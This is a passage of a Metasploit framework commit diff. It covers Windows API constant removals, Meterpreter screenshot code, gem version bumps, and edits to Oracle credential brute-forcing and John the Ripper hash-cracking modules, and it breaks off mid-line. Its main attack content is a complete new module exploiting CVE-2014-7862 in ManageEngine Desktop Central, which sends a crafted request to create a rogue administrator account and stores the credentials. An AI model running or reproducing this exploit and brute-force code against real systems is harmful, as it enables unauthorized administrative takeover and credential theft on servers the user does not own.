win_const_mgr.add_const('CF_PALETTE',0x00000009) @@ -5623,7 +5683,6 @@ class ApiConstants win_const_mgr.add_const('SQL_DROP_VIEW',0x0000008F) win_const_mgr.add_const('FEI_MODEM_POWERED_ON',0x00000011) win_const_mgr.add_const('WNODE_FLAG_INTERNAL',0x00000100) - win_const_mgr.add_const('SERVICE_START_PENDING',0x00000002) win_const_mgr.add_const('ERROR_SXS_INVALID_ACTCTXDATA_FORMAT',0x000036B2) win_const_mgr.add_const('ACMFILTERTAGDETAILS_FILTERTAG_CHARS',0x00000030) win_const_mgr.add_const('MAPI_E_ATTACHMENT_WRITE_FAILURE',0x0000000D) @@ -9255,7 +9314,6 @@ class ApiConstants win_const_mgr.add_const('TAPE_SPACE_RELATIVE_BLOCKS',0x00000005) win_const_mgr.add_const('DBT_DEVICEARRIVAL',0x00008000) win_const_mgr.add_const('IMAGE_REL_ALPHA_REFHI',0x0000000A) - win_const_mgr.add_const('SERVICE_WIN32_SHARE_PROCESS',0x00000020) win_const_mgr.add_const('R2_NOTCOPYPEN',0x00000004) win_const_mgr.add_const('POLICY_ERRV_GLOBAL_GRP_PEAK_RATE',0x0000001A) win_const_mgr.add_const('VTBIT_CY',0x00000001) @@ -9859,7 +9917,6 @@ class ApiConstants win_const_mgr.add_const('DISPID_FILELISTENUMDONE',0x000000C9) win_const_mgr.add_const('DBPROPVAL_IN_DISALLOWNULL',0x00000001) win_const_mgr.add_const('PP_PROVTYPE',0x00000010) - win_const_mgr.add_const('SERVICE_PAUSE_PENDING',0x00000006) win_const_mgr.add_const('MWMO_WAITALL',0x00000001) win_const_mgr.add_const('PIR_STATUS_ERROR',0x00000000) win_const_mgr.add_const('ERROR_DS_NO_DELETED_NAME',0x000020A3) @@ -10819,7 +10876,6 @@ class ApiConstants win_const_mgr.add_const('LINEADDRCAPFLAGS_QUEUE',0x01000000) win_const_mgr.add_const('PRINTER_ACCESS_ADMINISTER',0x00000004) win_const_mgr.add_const('SECPKG_CALL_THREAD_TERM',0x00000080) - win_const_mgr.add_const('SERVICE_RECOGNIZER_DRIVER',0x00000008) win_const_mgr.add_const('MD_DIRBROW_SHOW_EXTENSION',0x00000010) win_const_mgr.add_const('HHWIN_BUTTON_BROWSE_BCK',0x00000001) win_const_mgr.add_const('COLOR_WINDOWFRAME',0x00000006) @@ -11675,7 +11731,6 @@ class ApiConstants win_const_mgr.add_const('PORT_UAAC',0x00000091) win_const_mgr.add_const('D3DPBLENDCAPS_SRCALPHA',0x00000010) win_const_mgr.add_const('CALLBACK_STREAM_SWITCH',0x00000001) - win_const_mgr.add_const('GENERIC_EXECUTE',0x20000000) win_const_mgr.add_const('NUMPRS_PARENS',0x00000080) win_const_mgr.add_const('SHI1005_FLAGS_FORCE_SHARED_DELETE',0x00000200) win_const_mgr.add_const('SQL_HC_OFF',0x00000000) @@ -11965,7 +12020,6 @@ class ApiConstants win_const_mgr.add_const('MCI_WAIT',0x00000002) win_const_mgr.add_const('SPI_SETDROPSHADOW',0x00001025) win_const_mgr.add_const('VK_OEM_PERIOD',0x000000BE) - win_const_mgr.add_const('SERVICE_CHANGE_CONFIG',0x00000002) win_const_mgr.add_const('CERT_STORE_PROV_WRITE_CTL_FUNC',0x0000000A) win_const_mgr.add_const('SUBLANG_TAMAZIGHT_ALGERIA_LATIN',0x00000002) win_const_mgr.add_const('XECR_PKCS7',0x00000002) @@ -12173,7 +12227,6 @@ class ApiConstants win_const_mgr.add_const('MCI_VCR_FREEZE_OUTPUT',0x00020000) win_const_mgr.add_const('DEX_IDS_NO_SOURCE_NAMES',0x0000057D) win_const_mgr.add_const('SQL_OUTER_JOINS',0x00000026) - win_const_mgr.add_const('SERVICE_ENUMERATE_DEPENDENTS',0x00000008) win_const_mgr.add_const('CR_NO_SUCH_LOGICAL_DEV',0x00000014) win_const_mgr.add_const('IDC_PS_DISPLAYASICON',0x000001FA) win_const_mgr.add_const('GESTURE_UP_LEFT_LONG',0x00000000) @@ -12243,7 +12296,6 @@ class ApiConstants win_const_mgr.add_const('ERROR_VOLSNAP_PREPARE_HIBERNATE',0x0000028F) win_const_mgr.add_const('TMT_CAPTIONBARHEIGHT',0x000004B5) win_const_mgr.add_const('IDM_ENABLE_INTERACTION',0x000008FE) - win_const_mgr.add_const('DELETE',0x00010000) win_const_mgr.add_const('CRYPTUI_WIZ_DIGITAL_SIGN_PVK',0x00000003) win_const_mgr.add_const('ERROR_CTX_MODEM_RESPONSE_NO_CARRIER',0x00001B65) win_const_mgr.add_const('OE_SETTING',0x00000004) @@ -12431,7 +12483,7 @@ class ApiConstants win_const_mgr.add_const('ET_DITHERMODE',0x00000004) win_const_mgr.add_const('AA_A_ACL',0x00008000) win_const_mgr.add_const('MCI_UPDATE',0x00000854) - win_const_mgr.add_const('READ_CONTROL',0x00020000) + win_const_mgr.add_const('ERROR_DS_DESTINATION_DOMAIN_NOT_IN_FOREST',0x00002157) win_const_mgr.add_const('IDM_IE50_PASTE',0x00000961) win_const_mgr.add_const('DB_NULL_HCHAPTER',0x00000000) @@ -12739,7 +12791,6 @@ class ApiConstants win_const_mgr.add_const('OPF_DISABLECONVERT',0x00000008) win_const_mgr.add_const('D3DPCMPCAPS_LESS',0x00000002) win_const_mgr.add_const('D3DPRESENT_INTERVAL_TWO',0x00000002) - win_const_mgr.add_const('SERVICE_STOP',0x00000020) win_const_mgr.add_const('WLX_OPTION_SMART_CARD_INFO',0x00010002) win_const_mgr.add_const('MAX_LANA',0x000000FE) win_const_mgr.add_const('PLATFORM_ID_VMS',0x000002BC) @@ -14732,7 +14783,6 @@ class ApiConstants win_const_mgr.add_const('CDIS_GRAYED',0x00000002) win_const_mgr.add_const('DISPID_QUIT',0x00000067) win_const_mgr.add_const('LINETOLLLISTOPTION_REMOVE',0x00000002) - win_const_mgr.add_const('SERVICE_WIN32_OWN_PROCESS',0x00000010) win_const_mgr.add_const('SM_FOCUS_TYPE_NT_DOMAIN',0x00000001) win_const_mgr.add_const('WINHTTP_CALLBACK_STATUS_REQUEST_ERROR',0x00200000) win_const_mgr.add_const('PORT_WPGS',0x0000030C) @@ -15353,7 +15403,6 @@ class ApiConstants win_const_mgr.add_const('DEBUG_VSOURCE_MAPPED_IMAGE',0x00000002) win_const_mgr.add_const('ERROR_DS_OBJ_STRING_NAME_EXISTS',0x00002071) win_const_mgr.add_const('DPD_DELETE_ALL_FILES',0x00000004) - win_const_mgr.add_const('SERVICE_STOPPED',0x00000001) win_const_mgr.add_const('DMPAPER_ENV_PERSONAL',0x00000026) win_const_mgr.add_const('WM_RBUTTONDBLCLK',0x00000206) win_const_mgr.add_const('SQL_CURRENT_QUALIFIER',0x0000006D) @@ -15754,7 +15803,6 @@ class ApiConstants win_const_mgr.add_const('ERROR_ABANDONED_WAIT_0',0x000002DF) win_const_mgr.add_const('SQL_API_SQLGETCURSORNAME',0x00000011) win_const_mgr.add_const('UINT8_MAX',0x00000000) - win_const_mgr.add_const('SERVICE_NO_CHANGE',0x00000000) win_const_mgr.add_const('AE_SRVCONT',0x00000002) win_const_mgr.add_const('RPC_S_GRP_ELT_NOT_REMOVED',0x00000789) win_const_mgr.add_const('ERROR_CONNECTED_OTHER_PASSWORD_DEFAULT',0x0000083D) @@ -16075,7 +16123,6 @@ class ApiConstants win_const_mgr.add_const('ERRCLASS_UNK',0x0000000D) win_const_mgr.add_const('STREAM_MODIFIED_WHEN_READ',0x00000001) win_const_mgr.add_const('SENSITIVITY_PROP_NORMAL',0x00000000) - win_const_mgr.add_const('SERVICE_INTERROGATE',0x00000080) win_const_mgr.add_const('VK_BROWSER_FORWARD',0x000000A7) win_const_mgr.add_const('IDM_BLOCKDIRLTR',0x00000930) win_const_mgr.add_const('RF_LATTICE',0x00000800) @@ -17110,7 +17157,6 @@ class ApiConstants win_const_mgr.add_const('TRUSTERROR_STEP_MESSAGE',0x00000008) win_const_mgr.add_const('LB_SETTABSTOPS',0x00000192) win_const_mgr.add_const('SQL_TL_ON',0x00000001) - win_const_mgr.add_const('SERVICE_FILE_SYSTEM_DRIVER',0x00000002) win_const_mgr.add_const('SCRIPTPROP_GCCONTROLSOFTCLOSE',0x00002000) win_const_mgr.add_const('OPATH_TOK_OPEN_PAREN',0x0000006A) win_const_mgr.add_const('IMAGE_SYM_CLASS_REGISTER_PARAM',0x00000011) @@ -18538,7 +18584,6 @@ class ApiConstants win_const_mgr.add_const('DEBUG_OUTCTL_ALL_OTHER_CLIENTS',0x00000002) win_const_mgr.add_const('MAX_DDDEVICEID_STRING',0x00000200) win_const_mgr.add_const('USN_REASON_RENAME_NEW_NAME',0x00002000) - win_const_mgr.add_const('WRITE_DAC',0x00040000) win_const_mgr.add_const('BTH_ERROR_SUCCESS',0x00000000) win_const_mgr.add_const('SERVER_SEARCH_FLAG_PHANTOM_ROOT',0x00000002) win_const_mgr.add_const('SUBLANG_SINDHI_INDIA',0x00000001) @@ -20372,7 +20417,6 @@ class ApiConstants win_const_mgr.add_const('KERB_CHECKSUM_CRC32',0x00000001) win_const_mgr.add_const('IMC_SETCOMPOSITIONFONT',0x0000000A) win_const_mgr.add_const('TVC_UNKNOWN',0x00000000) - win_const_mgr.add_const('SERVICE_RUNNING',0x00000004) win_const_mgr.add_const('PORT_HMMP_INDICATION',0x00000264) win_const_mgr.add_const('PARTID_MASK',0x00000000) win_const_mgr.add_const('SSRVOPT_PARAMTYPE',0x00000100) @@ -20721,7 +20765,6 @@ class ApiConstants win_const_mgr.add_const('CB_MAX_FILENAME',0x00000100) win_const_mgr.add_const('MCI_VCR_SET_TRACKING',0x00400000) win_const_mgr.add_const('LANG_SINDHI',0x00000059) - win_const_mgr.add_const('SERVICE_ADAPTER',0x00000004) win_const_mgr.add_const('PCMCIA_DEF_MEMEND',0x00FFFFFF) win_const_mgr.add_const('D3DPTEXTURECAPS_MIPCUBEMAP',0x00010000) win_const_mgr.add_const('C2_NOTAPPLICABLE',0x00000000) @@ -20938,7 +20981,6 @@ class ApiConstants win_const_mgr.add_const('CTF_REF_COUNTED',0x00000020) win_const_mgr.add_const('MCI_DEVTYPE_CD_AUDIO',0x00000204) win_const_mgr.add_const('D3DDEVCAPS_TLVERTEXSYSTEMMEMORY',0x00000040) - win_const_mgr.add_const('GENERIC_WRITE',0x40000000) win_const_mgr.add_const('SE_GROUP_ENABLED',0x00000004) win_const_mgr.add_const('PDH_REFRESHCOUNTERS',0x00000004) win_const_mgr.add_const('ERROR_CLUSTER_MAXNUM_OF_RESOURCES_EXCEEDED',0x000013D4) @@ -21904,7 +21946,6 @@ class ApiConstants win_const_mgr.add_const('SHERB_NOCONFIRMATION',0x00000001) win_const_mgr.add_const('DEBUG_REQUEST_TARGET_EXCEPTION_RECORD',0x00000003) win_const_mgr.add_const('CERT_TRUST_INVALID_BASIC_CONSTRAINTS',0x00000400) - win_const_mgr.add_const('SERVICE_CONTINUE_PENDING',0x00000005) win_const_mgr.add_const('URLACTION_ACTIVEX_RUN',0x00001200) win_const_mgr.add_const('EMR_BITBLT',0x0000004C) win_const_mgr.add_const('DEBUG_ASMOPT_DEFAULT',0x00000000) @@ -23291,7 +23332,6 @@ class ApiConstants win_const_mgr.add_const('HLNF_DISABLEWINDOWRESTRICTIONS',0x00800000) win_const_mgr.add_const('WINHTTP_OPTION_CONNECT_TIMEOUT',0x00000003) win_const_mgr.add_const('DS_NOIDLEMSG',0x00000100) - win_const_mgr.add_const('SC_MANAGER_CONNECT',0x00000001) win_const_mgr.add_const('CRYPT_ACQUIRE_PREFER_NCRYPT_KEY_FLAG',0x00020000) win_const_mgr.add_const('ERROR_LOG_CLIENT_NOT_REGISTERED',0x000019ED) win_const_mgr.add_const('CERT_NAME_STR_REVERSE_FLAG',0x02000000) @@ -23830,7 +23870,6 @@ class ApiConstants win_const_mgr.add_const('DISPID_IHTMLPLUGINSCOLLECTION_REFRESH',0x00000002) win_const_mgr.add_const('CM_OPEN_CLASS_KEY_BITS',0x00000001) win_const_mgr.add_const('HH_SAFE_DISPLAY_TOPIC',0x00000020) - win_const_mgr.add_const('SC_MANAGER_ENUMERATE_SERVICE',0x00000004) win_const_mgr.add_const('FPSR_MBZ0_V',0x00000003) win_const_mgr.add_const('ERROR_CLUSTER_NODE_ALREADY_HAS_DFS_ROOT',0x000013E0) win_const_mgr.add_const('WIA_DPF_FIRST',0x00000D02) @@ -24022,7 +24061,6 @@ class ApiConstants win_const_mgr.add_const('DNS_RTYPE_HINFO',0x00000000) win_const_mgr.add_const('WM_COMPACTING',0x00000041) win_const_mgr.add_const('EXITPUB_FILE',0x00000001) - win_const_mgr.add_const('ACCESS_SYSTEM_SECURITY',0x01000000) win_const_mgr.add_const('IP_ADAPTER_IPV4_ENABLED',0x00000080) win_const_mgr.add_const('DXGI_USAGE_BACK_BUFFER',0x00000001) win_const_mgr.add_const('DVD_AUDIO_CAPS_MPEG2',0x00000002) @@ -24229,7 +24267,6 @@ class ApiConstants win_const_mgr.add_const('PSH_USEHBMWATERMARK',0x00010000) win_const_mgr.add_const('APPCTR_MD_ID_BEGIN_RESERVED',0x00000000) win_const_mgr.add_const('ADMIN_STATE_ENABLED',0x00000002) - win_const_mgr.add_const('SERVICE_START',0x00000010) win_const_mgr.add_const('SQL_CONVERT_WVARCHAR',0x0000007E) win_const_mgr.add_const('SECPKG_CONTEXT_EXPORT_RESET_NEW',0x00000001) win_const_mgr.add_const('GESTURE_INFINITY',0x00000000) @@ -24327,7 +24364,6 @@ class ApiConstants win_const_mgr.add_const('ICDRAW_NULLFRAME',0x10000000) win_const_mgr.add_const('JET_BASE_NAME_LENGTH',0x00000003) win_const_mgr.add_const('HHWIN_PROP_ONTOP',0x00000001) - win_const_mgr.add_const('SERVICE_PAUSED',0x00000007) win_const_mgr.add_const('ICEE_CREATE_FILE_PE32',0x00000001) win_const_mgr.add_const('CSIDL_PRINTERS',0x00000004) win_const_mgr.add_const('LINEBEARERMODE_MULTIUSE',0x00000004) @@ -24628,7 +24664,6 @@ class ApiConstants win_const_mgr.add_const('POSTSCRIPT_DATA',0x00000025) win_const_mgr.add_const('MCIWNDF_NOMENU',0x00000008) win_const_mgr.add_const('OID_CO_TAPI_TRANSLATE_NDIS_CALLPARAMS',0xFE001005) - win_const_mgr.add_const('SERVICE_USER_DEFINED_CONTROL',0x00000100) win_const_mgr.add_const('JIFMK_FF',0x0000FFFF) win_const_mgr.add_const('DFCS_HOT',0x00001000) win_const_mgr.add_const('SI_CONTAINER',0x00000004) @@ -25917,7 +25952,6 @@ class ApiConstants win_const_mgr.add_const('TOKEN_ADJUST_PRIVILEGES',0x00000020) win_const_mgr.add_const('CRL_REASON_UNSPECIFIED',0x00000000) win_const_mgr.add_const('SERVICE_STOP_REASON_MINOR_MIN',0x00000000) - win_const_mgr.add_const('SERVICE_PAUSE_CONTINUE',0x00000040) win_const_mgr.add_const('RPC_C_QOS_CAPABILITIES_SCHANNEL_FULL_AUTH_IDENTITY',0x00000020) win_const_mgr.add_const('FEI_SENDING',0x00000002) win_const_mgr.add_const('DOF_PROGMAN',0x00000001) @@ -29144,7 +29178,6 @@ class ApiConstants win_const_mgr.add_const('DS_FORCE_REDISCOVERY',0x00000001) win_const_mgr.add_const('PDH_INVALID_INSTANCE',0xC0000BC5) win_const_mgr.add_const('LOCALSTATE_POLICYREMOVE_UNINSTALL',0x00000010) - win_const_mgr.add_const('SERVICE_STOP_PENDING',0x00000003) win_const_mgr.add_const('PS_JOIN_BEVEL',0x00001000) win_const_mgr.add_const('MFE_PRUNED_UPSTREAM',0x00000004) win_const_mgr.add_const('TMT_BTNTEXT',0x00000653) @@ -30370,7 +30403,6 @@ class ApiConstants win_const_mgr.add_const('VK_DBE_NOROMAN',0x00000000) win_const_mgr.add_const('DNS_TYPE_CNAME',0x00000005) win_const_mgr.add_const('PID_IS_WORKINGDIR',0x00000005) - win_const_mgr.add_const('SC_MANAGER_QUERY_LOCK_STATUS',0x00000010) win_const_mgr.add_const('APPCOMMAND_MEDIA_PLAY_PAUSE',0x0000000E) win_const_mgr.add_const('MCI_ANIM_PLAY_SCAN',0x00100000) win_const_mgr.add_const('NOTIFY_CLASS_REGISTRY_CHANGE',0x00000004) @@ -32077,7 +32109,6 @@ class ApiConstants win_const_mgr.add_const('RPC_S_SEC_PKG_ERROR',0x00000721) win_const_mgr.add_const('IPPORT_ECHO',0x00000007) win_const_mgr.add_const('APPSTATUS_STOPPED',0x00000000) - win_const_mgr.add_const('SERVICE_QUERY_STATUS',0x00000004) win_const_mgr.add_const('WMDM_DEVICECAP_CANPAUSE',0x00000010) win_const_mgr.add_const('PSP_USEFUSIONCONTEXT',0x00004000) win_const_mgr.add_const('SUBSCRIPTION_CAP_IS_CONTENTPARTNER',0x00000040) @@ -33167,7 +33198,6 @@ class ApiConstants win_const_mgr.add_const('DISPID_CUSTOMIZESETTINGS',0x00000011) win_const_mgr.add_const('IMAGE_REL_I386_SECREL',0x0000000B) win_const_mgr.add_const('IF_TYPE_VOICE_FXS',0x00000066) - win_const_mgr.add_const('WRITE_OWNER',0x00080000) win_const_mgr.add_const('CALLBACK_FUNCTION',0x00030000) win_const_mgr.add_const('CRYPT_MODE_CTS',0x00000005) win_const_mgr.add_const('PAN_STROKEVARIATION_INDEX',0x00000005) @@ -34303,7 +34333,6 @@ class ApiConstants win_const_mgr.add_const('DDPCAPS_1BIT',0x00000100) win_const_mgr.add_const('INADDR_LOOPBACK',0x00000007) win_const_mgr.add_const('HTTP_QUERY_SERVER',0x00000025) - win_const_mgr.add_const('GENERIC_READ',0x80000000) win_const_mgr.add_const('DSBI_EXPANDONOPEN',0x00040000) win_const_mgr.add_const('D3DUSAGE_DYNAMIC',0x00000200) win_const_mgr.add_const('MIN_PST_ERROR',0x800C0001) @@ -36254,7 +36283,6 @@ class ApiConstants win_const_mgr.add_const('DBFLAGS_MULTITHREADTRANSACTIONS',0x00000200) win_const_mgr.add_const('ERROR_DBG_RIPEXCEPTION',0x000002B7) win_const_mgr.add_const('KSALLOCATOR_FLAG_NO_FRAME_INTEGRITY',0x00000100) - win_const_mgr.add_const('SC_MANAGER_MODIFY_BOOT_CONFIG',0x00000020) win_const_mgr.add_const('PBT_APMPOWERSTATUSCHANGE',0x0000000A) win_const_mgr.add_const('IDM_TRIED_INSERTTABLE',0x00000016) win_const_mgr.add_const('IMC_OPENSTATUSWINDOW',0x00000022) @@ -38107,7 +38135,6 @@ class ApiConstants win_const_mgr.add_const('TIME_STAMP_CAPABLE',0x00000020) win_const_mgr.add_const('WIA_IPA_ITEM_CATEGORY',0x0000101D) win_const_mgr.add_const('DNS_UPDATE_SECURITY_OFF',0x00000010) - win_const_mgr.add_const('SERVICE_KERNEL_DRIVER',0x00000001) win_const_mgr.add_const('HANDLE_PARAM_IS_IN',0x00000040) win_const_mgr.add_const('IF_CHECK_SEND',0x00000002) win_const_mgr.add_const('MSV1_0_ALLOW_WORKSTATION_TRUST_ACCOUNT',0x00000800) diff --git a/lib/rex/post/meterpreter/extensions/stdapi/ui.rb b/lib/rex/post/meterpreter/extensions/stdapi/ui.rb index fcabf627f8..f176d7f84c 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/ui.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/ui.rb @@ -154,37 +154,43 @@ class UI < Rex::Post::UI def screenshot( quality=50 ) request = Packet.create_request( 'stdapi_ui_desktop_screenshot' ) request.add_tlv( TLV_TYPE_DESKTOP_SCREENSHOT_QUALITY, quality ) + # include the x64 screenshot dll if the host OS is x64 if( client.sys.config.sysinfo['Architecture'] =~ /^\S*x64\S*/ ) screenshot_path = MeterpreterBinaries.path('screenshot','x64.dll') if screenshot_path.nil? raise RuntimeError, "screenshot.x64.dll not found", caller end - screenshot_path = ::File.expand_path( screenshot_path ) + screenshot_dll = '' ::File.open( screenshot_path, 'rb' ) do |f| screenshot_dll += f.read( f.stat.size ) end + request.add_tlv( TLV_TYPE_DESKTOP_SCREENSHOT_PE64DLL_BUFFER, screenshot_dll, false, true ) request.add_tlv( TLV_TYPE_DESKTOP_SCREENSHOT_PE64DLL_LENGTH, screenshot_dll.length ) end + # but always include the x86 screenshot dll as we can use it for wow64 processes if we are on x64 screenshot_path = MeterpreterBinaries.path('screenshot','x86.dll') if screenshot_path.nil? raise RuntimeError, "screenshot.x86.dll not found", caller end - screenshot_path = ::File.expand_path( screenshot_path ) + screenshot_dll = '' ::File.open( screenshot_path, 'rb' ) do |f| screenshot_dll += f.read( f.stat.size ) end + request.add_tlv( TLV_TYPE_DESKTOP_SCREENSHOT_PE32DLL_BUFFER, screenshot_dll, false, true ) request.add_tlv( TLV_TYPE_DESKTOP_SCREENSHOT_PE32DLL_LENGTH, screenshot_dll.length ) + # send the request and return the jpeg image if successfull. response = client.send_request( request ) if( response.result == 0 ) return response.get_tlv_value( TLV_TYPE_DESKTOP_SCREENSHOT ) end + return nil end diff --git a/lib/rex/proto/http/client.rb b/lib/rex/proto/http/client.rb index b8efa19929..9f896689ef 100644 --- a/lib/rex/proto/http/client.rb +++ b/lib/rex/proto/http/client.rb @@ -86,7 +86,7 @@ class Client typ = self.config_types[var] || 'string' # These are enum types - if(typ.class.to_s == 'Array') + if typ.is_a?(Array) if not typ.include?(val) raise RuntimeError, "The specified value for #{var} is not one of the valid choices" end @@ -719,4 +719,3 @@ end end end end - diff --git a/metasploit-framework-db.gemspec b/metasploit-framework-db.gemspec index d3d1a3438e..53f592af1c 100644 --- a/metasploit-framework-db.gemspec +++ b/metasploit-framework-db.gemspec @@ -29,7 +29,7 @@ Gem::Specification.new do |spec| spec.add_runtime_dependency 'activerecord', *Metasploit::Framework::RailsVersionConstraint::RAILS_VERSION # Metasploit::Credential database models - spec.add_runtime_dependency 'metasploit-credential', '~> 0.13.8' + spec.add_runtime_dependency 'metasploit-credential', '~> 0.13.11' # Database models shared between framework and Pro. spec.add_runtime_dependency 'metasploit_data_models', '~> 0.21.3' # depend on metasploit-framewrok as the optional gems are useless with the actual code diff --git a/metasploit-framework.gemspec b/metasploit-framework.gemspec index 67e51e9b68..9c140cbf52 100644 --- a/metasploit-framework.gemspec +++ b/metasploit-framework.gemspec @@ -64,7 +64,7 @@ Gem::Specification.new do |spec| # are needed when there's no database spec.add_runtime_dependency 'metasploit-model', '~> 0.28.0' # Needed for Meterpreter on Windows, soon others. - spec.add_runtime_dependency 'meterpreter_bins', '0.0.12' + spec.add_runtime_dependency 'meterpreter_bins', '0.0.13' # Needed by msfgui and other rpc components spec.add_runtime_dependency 'msgpack' # Needed by anemone crawler diff --git a/modules/auxiliary/admin/http/manage_engine_dc_create_admin.rb b/modules/auxiliary/admin/http/manage_engine_dc_create_admin.rb new file mode 100644 index 0000000000..253abbd34c --- /dev/null +++ b/modules/auxiliary/admin/http/manage_engine_dc_create_admin.rb @@ -0,0 +1,97 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Report + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'ManageEngine Desktop Central Administrator Account Creation', + 'Description' => %q{ + This module exploits an administrator account creation vulnerability in Desktop Central + from v7 onwards by sending a crafted request to DCPluginServelet. It has been tested in + several versions of Desktop Central (including MSP) from v7 onwards. + }, + 'Author' => + [ + 'Pedro Ribeiro ' # Vulnerability discovery and MSF module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + ['CVE', '2014-7862'], + ['OSVDB', '116554'], + ['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/ManageEngine/me_dc9_admin.txt'], + ['URL', 'http://seclists.org/fulldisclosure/2015/Jan/2'] + ], + 'DisclosureDate' => 'Dec 31 2014')) + + register_options( + [ + OptPort.new('RPORT', [true, 'The target port', 8020]), + OptString.new('TARGETURI', [ true, 'ManageEngine Desktop Central URI', '/']), + OptString.new('USERNAME', [true, 'The username for the new admin account', 'msf']), + OptString.new('PASSWORD', [true, 'The password for the new admin account', 'password']), + OptString.new('EMAIL', [true, 'The email for the new admin account', 'msf@email.loc']) + ], self.class) + end + + + def run + # Generate password hash + salt = Time.now.to_i.to_s + password_encoded = Rex::Text.encode_base64([Rex::Text.md5(datastore['PASSWORD'] + salt)].pack('H*')) + + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, "/servlets/DCPluginServelet"), + 'method' =>'GET', + 'vars_get' => { + 'action' => 'addPlugInUser', + 'role' => 'DCAdmin', + 'userName' => datastore['USERNAME'], + 'email' => datastore['EMAIL'], + 'phNumber' => Rex::Text.rand_text_numeric(6), + 'password' => password_encoded, + 'salt' => salt, + 'createdtime' => salt + } + }) + + # Yes, "sucess" is really mispelt, as is "Servelet" ... ! + unless res && res.code == 200 && res.body && res.body.to_s =~ /sucess/ + print_error("#{peer} - Administrator account creation failed") + end + + print_good("#{peer} - Created Administrator account with credentials #{datastore['USERNAME']}:#{datastore['PASSWORD']}") + service_data = { + address: rhost, + port: rport, + service_name: (ssl ? 'https' : 'http'), + protocol: 'tcp', + workspace_id: myworkspace_id + } + credential_data = { + origin_type: :service, + module_fullname: self.fullname, + private_type: :password, + private_data: datastore['PASSWORD'], + username: datastore['USERNAME'] + } + + credential_data.merge!(service_data) + credential_core = create_credential(credential_data) + login_data = { + core: credential_core, + access_level: 'Administrator', + status: Metasploit::Model::Login::Status::UNTRIED + } + login_data.merge!(service_data) + create_credential_login(login_data) + end +end diff --git a/modules/auxiliary/admin/oracle/oracle_login.rb b/modules/auxiliary/admin/oracle/oracle_login.rb index a75e1a4303..f4a0fbdf1f 100644 --- a/modules/auxiliary/admin/oracle/oracle_login.rb +++ b/modules/auxiliary/admin/oracle/oracle_login.rb @@ -44,27 +44,28 @@ class Metasploit3 < Msf::Auxiliary print_status("Starting brute force on #{datastore['RHOST']}:#{datastore['RPORT']}...") fd = CSV.foreach(list) do |brute| + datastore['DBUSER'] = brute[2].downcase + datastore['DBPASS'] = brute[3].downcase - datastore['DBUSER'] = brute[2].downcase - datastore['DBPASS'] = brute[3].downcase - - begin - connect - disconnect - rescue ::OCIError => e + begin + connect + disconnect + rescue ::OCIError => e + if e.to_s =~ /^ORA-12170:\s/ + print_error("#{datastore['RHOST']}:#{datastore['RPORT']} Connection timed out") + break + end else - if (not e) - report_auth_info( + report_auth_info( :host => "#{datastore['RHOST']}", :port => "#{datastore['RPORT']}", :sname => 'oracle', :user => "#{datastore['SID']}/#{datastore['DBUSER']}", :pass => "#{datastore['DBPASS']}", :active => true - ) - print_status("Found user/pass of: #{datastore['DBUSER']}/#{datastore['DBPASS']} on #{datastore['RHOST']} with sid #{datastore['SID']}") - end - end + ) + print_status("Found user/pass of: #{datastore['DBUSER']}/#{datastore['DBPASS']} on #{datastore['RHOST']} with sid #{datastore['SID']}") + end end end end diff --git a/modules/auxiliary/analyze/jtr_aix.rb b/modules/auxiliary/analyze/jtr_aix.rb index bea5afa96b..3c5cd91269 100644 --- a/modules/auxiliary/analyze/jtr_aix.rb +++ b/modules/auxiliary/analyze/jtr_aix.rb @@ -43,6 +43,11 @@ class Metasploit3 < Msf::Auxiliary cracker_instance = cracker.dup cracker_instance.format = format print_status "Cracking #{format} hashes in normal wordlist mode..." + # Turn on KoreLogic rules if the user asked for it + if datastore['KoreLogic'] + cracker_instance.rules = 'KoreLogicRules' + print_status "Applying KoreLogic ruleset..." + end cracker_instance.crack do |line| print_status line.chomp end diff --git a/modules/auxiliary/analyze/jtr_crack_fast.rb b/modules/auxiliary/analyze/jtr_crack_fast.rb index 6f707758b2..e1137d8945 100644 --- a/modules/auxiliary/analyze/jtr_crack_fast.rb +++ b/modules/auxiliary/analyze/jtr_crack_fast.rb @@ -42,6 +42,11 @@ class Metasploit3 < Msf::Auxiliary cracker_instance = cracker.dup cracker_instance.format = format print_status "Cracking #{format} hashes in normal wordlist mode..." + # Turn on KoreLogic rules if the user asked for it + if datastore['KoreLogic'] + cracker_instance.rules = 'KoreLogicRules' + print_status "Applying KoreLogic ruleset..." + end cracker_instance.crack do |line| print_status line.chomp end diff --git a/modules/auxiliary/analyze/jtr_linux.rb b/modules/auxiliary/analyze/jtr_linux.rb index 90b010f6be..5f241a70c6 100644 --- a/modules/auxiliary/analyze/jtr_linux.rb +++ b/modules/auxiliary/analyze/jtr_linux.rb @@ -57,6 +57,11 @@ class Metasploit3 < Msf::Auxiliary cracker_instance = cracker.dup cracker_instance.format = format print_status "Cracking #{format} hashes in normal wordlist mode..." + # Turn on KoreLogic rules if the user asked for it + if datastore['KoreLogic'] + cracker_instance.rules = 'KoreLogicRules' + print_status "Applying KoreLogic ruleset..." + end cracker_instance.crack do |line| print_status line.chomp end diff --git a/modules/auxiliary/analyze/jtr_mssql_fast.rb b/modules/auxiliary/analyze/jtr_mssql_fast.rb index c5d27273c4..b614f4396a 100644 --- a/modules/auxiliary/analyze/jtr_mssql_fast.rb +++ b/modules/auxiliary/analyze/jtr_mssql_fast.rb @@ -44,6 +44,11 @@ class Metasploit3 < Msf::Auxiliary cracker_instance = cracker.dup cracker_instance.format = format print_status "Cracking #{format} hashes in normal wordlist mode..." + # Turn on KoreLogic rules if the user asked for it + if datastore['KoreLogic'] + cracker_instance.rules = 'KoreLogicRules' + print_status "Applying KoreLogic ruleset..." + end cracker_instance.crack do |line| print_status line.chomp end diff --git a/modules/auxiliary/analyze/jtr_mysql_fast.rb b/modules/auxiliary/analyze/jtr_mysql_fast.rb index 6881948ba6..759af296be 100644 --- a/modules/auxiliary/analyze/jtr_mysql_fast.rb +++ b/modules/auxiliary/analyze/jtr_mysql_fast.rb @@ -42,6 +42,11 @@ class Metasploit3 < Msf::Auxiliary cracker_instance = cracker.dup cracker_instance.format = format print_status 